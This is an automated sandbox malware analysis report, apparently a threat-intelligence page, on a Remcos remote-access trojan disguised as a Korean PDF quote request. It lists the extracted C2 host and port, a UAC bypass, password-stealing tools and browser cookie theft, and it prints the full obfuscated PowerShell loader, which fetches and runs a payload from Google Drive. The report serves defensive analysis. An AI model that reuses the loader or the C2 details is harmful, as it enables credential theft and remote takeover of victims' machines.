remcos | fcb85efd53de456d5f743a08f2585d7d54e1a891b7ef8cc768a4a85c9cd3d36d

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-11-2024 06:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SK 견적요청_울산공장·pdf.vbs
Size

86KB
MD5

da79738f51b4a2f265c6817f2db04646
SHA1

285cbcc5237b51baa7b93cc7cdae2ff4c08a4806
SHA256

fcb85efd53de456d5f743a08f2585d7d54e1a891b7ef8cc768a4a85c9cd3d36d
SHA512

aed649f3ae5f8ddf33918a3f8891b85aa1c723b52d04553fca3cf06792861f652dd1bc4b196427c224cbbc526c669d0286e1084a39bbb27bcbeaeee52bfe4667
SSDEEP

1536:H70tD9v0kQmGd9pipuoNqCZJlnfsBovNFqq8kuX0NhMfYagy1VRXaAj27DsH4Dt:HQd9vhrU9k5mBov98iNhMfYapVRQDsH+

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

13hindi4pistatukoy4tra.duckdns.org:47392

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-7IIE67
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4820-88-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3080-89-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2448-86-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2448-86-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3080-89-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
4	4480	WScript.exe
9	5036	powershell.exe
15	5036	powershell.exe
25	3156	msiexec.exe
27	3156	msiexec.exe
29	3156	msiexec.exe
31	3156	msiexec.exe
32	3156	msiexec.exe
47	3156	msiexec.exe
50	3156	msiexec.exe
51	3156	msiexec.exe
52	3156	msiexec.exe
53	3156	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4956	Chrome.exe
4992	Chrome.exe
2940	Chrome.exe
4440	msedge.exe
3252	msedge.exe
2548	Chrome.exe
1720	msedge.exe
2632	msedge.exe
4152	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1444	powershell.exe
5036	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
9	drive.google.com
25	drive.google.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
5036	powershell.exe
1444	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3156	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1444	powershell.exe
3156	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3156 set thread context of 3080	3156	msiexec.exe	113
PID 3156 set thread context of 2448	3156	msiexec.exe	114
PID 3156 set thread context of 4820	3156	msiexec.exe	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1524	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5036	powershell.exe
5036	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
4820	msiexec.exe
4820	msiexec.exe
3080	msiexec.exe
3080	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3080	msiexec.exe
3080	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
2548	Chrome.exe
2548	Chrome.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
1444	powershell.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe
3156	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1720	msedge.exe
1720	msedge.exe
1720	msedge.exe
1720	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	4820	msiexec.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe
Token: SeShutdownPrivilege	2548	Chrome.exe
Token: SeCreatePagefilePrivilege	2548	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2548	Chrome.exe
1720	msedge.exe
1720	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3156	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4480 wrote to memory of 5036	4480	WScript.exe	83
PID 4480 wrote to memory of 5036	4480	WScript.exe	83
PID 1444 wrote to memory of 3156	1444	powershell.exe	102
PID 1444 wrote to memory of 3156	1444	powershell.exe	102
PID 1444 wrote to memory of 3156	1444	powershell.exe	102
PID 1444 wrote to memory of 3156	1444	powershell.exe	102
PID 3156 wrote to memory of 740	3156	msiexec.exe	106
PID 3156 wrote to memory of 740	3156	msiexec.exe	106
PID 3156 wrote to memory of 740	3156	msiexec.exe	106
PID 740 wrote to memory of 1524	740	cmd.exe	108
PID 740 wrote to memory of 1524	740	cmd.exe	108
PID 740 wrote to memory of 1524	740	cmd.exe	108
PID 3156 wrote to memory of 2548	3156	msiexec.exe	110
PID 3156 wrote to memory of 2548	3156	msiexec.exe	110
PID 2548 wrote to memory of 972	2548	Chrome.exe	111
PID 2548 wrote to memory of 972	2548	Chrome.exe	111
PID 3156 wrote to memory of 3760	3156	msiexec.exe	112
PID 3156 wrote to memory of 3760	3156	msiexec.exe	112
PID 3156 wrote to memory of 3760	3156	msiexec.exe	112
PID 3156 wrote to memory of 3080	3156	msiexec.exe	113
PID 3156 wrote to memory of 3080	3156	msiexec.exe	113
PID 3156 wrote to memory of 3080	3156	msiexec.exe	113
PID 3156 wrote to memory of 3080	3156	msiexec.exe	113
PID 3156 wrote to memory of 2448	3156	msiexec.exe	114
PID 3156 wrote to memory of 2448	3156	msiexec.exe	114
PID 3156 wrote to memory of 2448	3156	msiexec.exe	114
PID 3156 wrote to memory of 2448	3156	msiexec.exe	114
PID 3156 wrote to memory of 4820	3156	msiexec.exe	115
PID 3156 wrote to memory of 4820	3156	msiexec.exe	115
PID 3156 wrote to memory of 4820	3156	msiexec.exe	115
PID 3156 wrote to memory of 4820	3156	msiexec.exe	115
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 4340	2548	Chrome.exe	117
PID 2548 wrote to memory of 1480	2548	Chrome.exe	118
PID 2548 wrote to memory of 1480	2548	Chrome.exe	118
PID 2548 wrote to memory of 3916	2548	Chrome.exe	119

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SK 견적요청_울산공장·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kapitalkontos Lvhytte Modem Caracal aandsretningernes #><#nonterminative Painter Cardan Tunnelbane Uciviliseredes Nedslagtnings #>$Glattende='Straamndene';function Polyrhythm($Zygophyceous205){If ($host.DebuggerEnabled) {$Softwareudviklingens++;$Diversificerede=$Zygophyceous205.'Length' - $Softwareudviklingens} for ( $Incumbentess=4;$Incumbentess -lt $Diversificerede;$Incumbentess+=5){$Drunkometers=$Incumbentess;$Pederast+=$Zygophyceous205[$Incumbentess]}$Pederast}function Unmisunderstanding($polycentric){ .($Signs) ($polycentric)}$Jouster=Polyrhythm 'DonkNExhieB,bat De .H spWFyrrE xulb F ocWaggL rutiKalmeQu dnRapsTSupe ';$tiggerstavenes=Polyrhythm ' Re,M carosaraz reiGymslBakglRoebaintr/Knst ';$Symonds=Polyrhythm 'MensT.thelOrc sbldd1E se2Stje ';$Fangelejren=' Mil[PiannOverEEsqut t,a.Ru esFenneRundr llev BlgiEntaCHaaneS.rmPCac OBu kIMastnKu,ftIndtM R na,piln CarASnegg Dise Barrprot]Mask:Hv.d:samasD lse NiccSygeUGylpr UlaIUdv,t Irry UdbpKou rb inooutpT.bstO AutcantioLejelAhim=Comm$ ottsFejlyPrepmCounoCollNUt mdetagsMiss ';$tiggerstavenes+=Polyrhythm 'Out 5.rer.Sacr0 Til Fag( orkWSkokiTrmlnSracdVis oM lbwUdlbsLaby DameNPyreTkl.s U,hv1Staa0humm.Mes 0U.ba;Prog KlveW rii flonProt6Over4For ;U le Avisx Pru6H ra4Pir ;Delt UdskrAutovVarm: Imb1Unmo3 Pal1Wa.c.Ramm0U je)Be l CorrGLavaeforhcTj ik Ordo D t/ Haa2Dy d0ster1 .ab0Kli 0Kall1 S u0 orr1 R.d P rfFNdlaiS olrArbeePrisfReseoKlokxWatt/ Imp1Do.p3Ashi1Okse. ins0Dikt ';$Underkbelser=Polyrhythm ' MetUSvarSS ffEChurrProj-RostARejsGGenkebatoN ruttAr e ';$Sublimant=Polyrhythm 'Typeh tratMicht orhp H psBrok:Isva/ Hng/ imbdK narSimuiPunkv,fflePoma.AnvegSailoSpaloS.ikg allT.hae,eni.Tve,c aeroSigvm Fog/AileuSmercTra ? TvieStnkxAntip Garo etwr reltTro =Hid.dDi toFejlwGeodnangrlFakto ivoaSpledTidy&BidsiSarcdD.ce=Bonv1PraiUPartUSp,rADyo SStraZSjetJ RifSBnkesNo.t_UndeFdeno1 Dagd .orESireQRespEHois1 .arA sky8Rek -OldfH ,raw ylMHarpKHorn3 Ne,M Oph5AnimsKalkISekuSRoc.LNumb8Mo toPree ';$Defrocking=Polyrhythm 'Guls>Jenn ';$Signs=Polyrhythm ' ExpiSekue otrXTran ';$Anelises='Overgratified';$Restitels='\Indefeasibly149.Jin';Unmisunderstanding (Polyrhythm 'Tian$ uddgCan L ApooDagsb SneAPs cl Pac:Krftu ShedVentpBes O EryeRettNFremsT,nkESemidHjerEQuin=Uns $HormE V dnTamiVEks : BerAmalapPre P anud HovA.assTLaenaSla.+unr,$UnsiRH anEAs iSgerot DikiCamptMinaEHomol G nsSeri ');Unmisunderstanding (Polyrhythm '.urc$RemegOphnLS.tuOBiodB Fina Dovl,oro:B odbTooti Ad,BUn oLTranESe usAs e=Alba$LeatsR.geUBasibFishLSeksI PecM e pAHomonC rytArb .U,rksAtlapAlfel efaIAgelTUn e( iss$KrydDSa.geJujiF ranrakano.nksCKolokEnt IBr cNSpidgC ra) P n ');Unmisunderstanding (Polyrhythm $Fangelejren);$Sublimant=$Bibles[0];$pedetidae=(Polyrhythm 'Flat$Mokeg TrvlSik oEr,abTheiANontLCoup: N,cOEartvBem,E Ud r Ce aA trW eaN,obiiDaudNForvg jll= undNDetrE SkiwGre - In OUnadbPu cjHulhESkrecParaT H r .kjosCargYBridSarmaTNavnePresM.nsu.Supe$Bho,JMonooTranuC apsIndktGnide NdirCamp ');Unmisunderstanding ($pedetidae);Unmisunderstanding (Polyrhythm 'Stil$v.ncOUdmav Co esarcrK.dea romwdiscnMyeliIm enDi mg,nin.SjleH speeFisha.ford MedeAflirKards akt[Skis$Fri,U sq nGonadBroneLe erFlask HalbNonuePu ylLse s ProeTarorAlif]Sm a=Stor$SkertColpi EftgForsgDribeUnw r h ts aditAntoaeditvGlobeDitinridge FlesS ec ');$glaskabler=Polyrhythm 'Anma$TrngOViolv Dobe tilrWin aAmphwFortn Gali LaknVandgMisc.DeprDKag oUdskwPersnFlinlL.gioDrfya Aesd .nsFProgi GenlMareeRipp(Ou w$.kafSBaseuProcbJostlBiksi Intm .ona Fran kktP ei,Stra$.eltRFumleRorsb ilsRelelAcceaStjegCh re elerGlas)Udvi ';$Rebslager=$Udpoensede;Unmisunderstanding (Polyrhythm 'slag$ManiGUnbul repOstrab S lALy tLSoci:SkylfT ksoTrenR ,diTHestNLinyk aatEHetes pit=Heel(K,rrt,rkaeGulfsBuddTG no-A tepobs ABrastEroshForu Ligh$Rittr ReoeWokeBTakkSAgl l I waOrthgS bsETi tRdami)Clea ');while (!$Fortnkes) {Unmisunderstanding (Polyrhythm 'Forh$Refug T llDjvloFngsb delaAmaglInte:Smu,FFluaoAfm,dMonabUd,ro Disl B pd yspkEksil,nthuKendbBeskbTvr e rbenSundsK,mm=Hal $DismtfremrUn,uuFlaweFind ') ;Unmisunderstanding $glaskabler;Unmisunderstanding (Polyrhythm ' onosOpgrTPolyAUnenr HumTPlan-M.ndsCricl ma eMathe S ppCoke T,lr4Type ');Unmisunderstanding (Polyrhythm 'tae.$DiscgBistl Rifo H.nBBl aaUncllFer :Po,tFPs poGidsR VogtSkewn Re,KFavee tilSNeph=Bure( ismTEntaEMaddsYaguTSubt- AanPFestAou bTHypeHBd,f Pla$ ,icrOptrecharbM,loSP lylSirrANudigVitre astrK.ef) Rit ') ;Unmisunderstanding (Polyrhythm 'sper$HeleGBrilLAgiso F rbNonwAHa dL ffy:BrutP a or ffiEBe.eEHandxPaleP GenLTam.AConsIWarmNin,d=mela$ MacgGenbl impOSemebsl,ea Ci.LAlgo: S kU Un nmellSMa dASur c porr EgeaTittMVocaeVit.NMacrt E dAWidel The+Nysk+Sang%nata$IngebskttiKonfbR enL S keBrevS,mrr.Skr C StaO Tv U Li NSemitLe,t ') ;$Sublimant=$Bibles[$Preexplain]}$Monosulphonic=297180;$arthel=30156;Unmisunderstanding (Polyrhythm 'Perf$ TrigEastlDybgOSplaB UnkASu elBra.: limSHellE afbe ndrt Su.hPr nEHoej Unsk=Supe addegTermEAffitAdit-DresC Valo iolnHandtDekaEGunpNJarnT,our ,ata$Kosor magEfor Bp.rosPa iLHeptaSee GE,bee Te.rTatb ');Unmisunderstanding (Polyrhythm ' ver$.uffgHjrelSpyto ehrb,ensaZoe lFami:E,icE AntnPrordLavteSkydm flyaSnv,aD stl,utseLivsn B re lu vit=Davi Mu t[MiniSAfsky.orrsH,nhtSm.ae engmFlu . S,dCTophotryln tttvPosteTaofr DantDusc]Ski :Moto: C,nFVrkfrU seogl smTi.sBElekaO nisSun,eI,de6Arch4 V.rSJabetSubsrTauriHypenRecogSymb( Pro$A,hvSIntee arkeMag,tBunyh nameDrop)R gn ');Unmisunderstanding (Polyrhythm 'Tran$KhajgRsk.lSyndO Bo BKroga udil ,er:ChevPSubeRTankiCabumDiskU Lo lL.njaVo fLObe,eSpirSReji Mund= Spi Irel[.onoSDrukY Unhs PettDeceE ubm Kul.In,eTAp.sETrusX albtSang.Po,tEDslpnInskC StoODiskDMiliID.shNFe.igButt]Pand:Usan:F.dtaGamlS Ca.cNo riDaviIforj.StnkGAltdegroit,orbS damtforsrHel IMultnFourg pyr(Suba$Kra eazosnVognD PhieHeatMDuodASkn a Pr l KomeHo eNGa aEFj n) alg ');Unmisunderstanding (Polyrhythm ' He $Tungg Af,lunheOSkmtBRkkeaTroclCamp:ScoffChokaSchiNAffeTRha aCyprs InviSu.tSIngeTA co= Alu$TallP Calr malII,gnm KuluS volT,ndAPr mLTyngEAparSBoob.CantSSammuFor,b Tr sPs cT.tatR nnei KornDeligL,dd(.dhi$Cablmsonio Gs.N B.ro,rshs SwiUKrydl SmlpDi oHTaveo orvNAgasiA.alc Dia,koda$ bakADemaRraabT Le H armeSlbelkatt) prg ');Unmisunderstanding $Fantasist;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Kapitalkontos Lvhytte Modem Caracal aandsretningernes #><#nonterminative Painter Cardan Tunnelbane Uciviliseredes Nedslagtnings #>$Glattende='Straamndene';function Polyrhythm($Zygophyceous205){If ($host.DebuggerEnabled) {$Softwareudviklingens++;$Diversificerede=$Zygophyceous205.'Length' - $Softwareudviklingens} for ( $Incumbentess=4;$Incumbentess -lt $Diversificerede;$Incumbentess+=5){$Drunkometers=$Incumbentess;$Pederast+=$Zygophyceous205[$Incumbentess]}$Pederast}function Unmisunderstanding($polycentric){ .($Signs) ($polycentric)}$Jouster=Polyrhythm 'DonkNExhieB,bat De .H spWFyrrE xulb F ocWaggL rutiKalmeQu dnRapsTSupe ';$tiggerstavenes=Polyrhythm ' Re,M carosaraz reiGymslBakglRoebaintr/Knst ';$Symonds=Polyrhythm 'MensT.thelOrc sbldd1E se2Stje ';$Fangelejren=' Mil[PiannOverEEsqut t,a.Ru esFenneRundr llev BlgiEntaCHaaneS.rmPCac OBu kIMastnKu,ftIndtM R na,piln CarASnegg Dise Barrprot]Mask:Hv.d:samasD lse NiccSygeUGylpr UlaIUdv,t Irry UdbpKou rb inooutpT.bstO AutcantioLejelAhim=Comm$ ottsFejlyPrepmCounoCollNUt mdetagsMiss ';$tiggerstavenes+=Polyrhythm 'Out 5.rer.Sacr0 Til Fag( orkWSkokiTrmlnSracdVis oM lbwUdlbsLaby DameNPyreTkl.s U,hv1Staa0humm.Mes 0U.ba;Prog KlveW rii flonProt6Over4For ;U le Avisx Pru6H ra4Pir ;Delt UdskrAutovVarm: Imb1Unmo3 Pal1Wa.c.Ramm0U je)Be l CorrGLavaeforhcTj ik Ordo D t/ Haa2Dy d0ster1 .ab0Kli 0Kall1 S u0 orr1 R.d P rfFNdlaiS olrArbeePrisfReseoKlokxWatt/ Imp1Do.p3Ashi1Okse. ins0Dikt ';$Underkbelser=Polyrhythm ' MetUSvarSS ffEChurrProj-RostARejsGGenkebatoN ruttAr e ';$Sublimant=Polyrhythm 'Typeh tratMicht orhp H psBrok:Isva/ Hng/ imbdK narSimuiPunkv,fflePoma.AnvegSailoSpaloS.ikg allT.hae,eni.Tve,c aeroSigvm Fog/AileuSmercTra ? TvieStnkxAntip Garo etwr reltTro =Hid.dDi toFejlwGeodnangrlFakto ivoaSpledTidy&BidsiSarcdD.ce=Bonv1PraiUPartUSp,rADyo SStraZSjetJ RifSBnkesNo.t_UndeFdeno1 Dagd .orESireQRespEHois1 .arA sky8Rek -OldfH ,raw ylMHarpKHorn3 Ne,M Oph5AnimsKalkISekuSRoc.LNumb8Mo toPree ';$Defrocking=Polyrhythm 'Guls>Jenn ';$Signs=Polyrhythm ' ExpiSekue otrXTran ';$Anelises='Overgratified';$Restitels='\Indefeasibly149.Jin';Unmisunderstanding (Polyrhythm 'Tian$ uddgCan L ApooDagsb SneAPs cl Pac:Krftu ShedVentpBes O EryeRettNFremsT,nkESemidHjerEQuin=Uns $HormE V dnTamiVEks : BerAmalapPre P anud HovA.assTLaenaSla.+unr,$UnsiRH anEAs iSgerot DikiCamptMinaEHomol G nsSeri ');Unmisunderstanding (Polyrhythm '.urc$RemegOphnLS.tuOBiodB Fina Dovl,oro:B odbTooti Ad,BUn oLTranESe usAs e=Alba$LeatsR.geUBasibFishLSeksI PecM e pAHomonC rytArb .U,rksAtlapAlfel efaIAgelTUn e( iss$KrydDSa.geJujiF ranrakano.nksCKolokEnt IBr cNSpidgC ra) P n ');Unmisunderstanding (Polyrhythm $Fangelejren);$Sublimant=$Bibles[0];$pedetidae=(Polyrhythm 'Flat$Mokeg TrvlSik oEr,abTheiANontLCoup: N,cOEartvBem,E Ud r Ce aA trW eaN,obiiDaudNForvg jll= undNDetrE SkiwGre - In OUnadbPu cjHulhESkrecParaT H r .kjosCargYBridSarmaTNavnePresM.nsu.Supe$Bho,JMonooTranuC apsIndktGnide NdirCamp ');Unmisunderstanding ($pedetidae);Unmisunderstanding (Polyrhythm 'Stil$v.ncOUdmav Co esarcrK.dea romwdiscnMyeliIm enDi mg,nin.SjleH speeFisha.ford MedeAflirKards akt[Skis$Fri,U sq nGonadBroneLe erFlask HalbNonuePu ylLse s ProeTarorAlif]Sm a=Stor$SkertColpi EftgForsgDribeUnw r h ts aditAntoaeditvGlobeDitinridge FlesS ec ');$glaskabler=Polyrhythm 'Anma$TrngOViolv Dobe tilrWin aAmphwFortn Gali LaknVandgMisc.DeprDKag oUdskwPersnFlinlL.gioDrfya Aesd .nsFProgi GenlMareeRipp(Ou w$.kafSBaseuProcbJostlBiksi Intm .ona Fran kktP ei,Stra$.eltRFumleRorsb ilsRelelAcceaStjegCh re elerGlas)Udvi ';$Rebslager=$Udpoensede;Unmisunderstanding (Polyrhythm 'slag$ManiGUnbul repOstrab S lALy tLSoci:SkylfT ksoTrenR ,diTHestNLinyk aatEHetes pit=Heel(K,rrt,rkaeGulfsBuddTG no-A tepobs ABrastEroshForu Ligh$Rittr ReoeWokeBTakkSAgl l I waOrthgS bsETi tRdami)Clea ');while (!$Fortnkes) {Unmisunderstanding (Polyrhythm 'Forh$Refug T llDjvloFngsb delaAmaglInte:Smu,FFluaoAfm,dMonabUd,ro Disl B pd yspkEksil,nthuKendbBeskbTvr e rbenSundsK,mm=Hal $DismtfremrUn,uuFlaweFind ') ;Unmisunderstanding $glaskabler;Unmisunderstanding (Polyrhythm ' onosOpgrTPolyAUnenr HumTPlan-M.ndsCricl ma eMathe S ppCoke T,lr4Type ');Unmisunderstanding (Polyrhythm 'tae.$DiscgBistl Rifo H.nBBl aaUncllFer :Po,tFPs poGidsR VogtSkewn Re,KFavee tilSNeph=Bure( ismTEntaEMaddsYaguTSubt- AanPFestAou bTHypeHBd,f Pla$ ,icrOptrecharbM,loSP lylSirrANudigVitre astrK.ef) Rit ') ;Unmisunderstanding (Polyrhythm 'sper$HeleGBrilLAgiso F rbNonwAHa dL ffy:BrutP a or ffiEBe.eEHandxPaleP GenLTam.AConsIWarmNin,d=mela$ MacgGenbl impOSemebsl,ea Ci.LAlgo: S kU Un nmellSMa dASur c porr EgeaTittMVocaeVit.NMacrt E dAWidel The+Nysk+Sang%nata$IngebskttiKonfbR enL S keBrevS,mrr.Skr C StaO Tv U Li NSemitLe,t ') ;$Sublimant=$Bibles[$Preexplain]}$Monosulphonic=297180;$arthel=30156;Unmisunderstanding (Polyrhythm 'Perf$ TrigEastlDybgOSplaB UnkASu elBra.: limSHellE afbe ndrt Su.hPr nEHoej Unsk=Supe addegTermEAffitAdit-DresC Valo iolnHandtDekaEGunpNJarnT,our ,ata$Kosor magEfor Bp.rosPa iLHeptaSee GE,bee Te.rTatb ');Unmisunderstanding (Polyrhythm ' 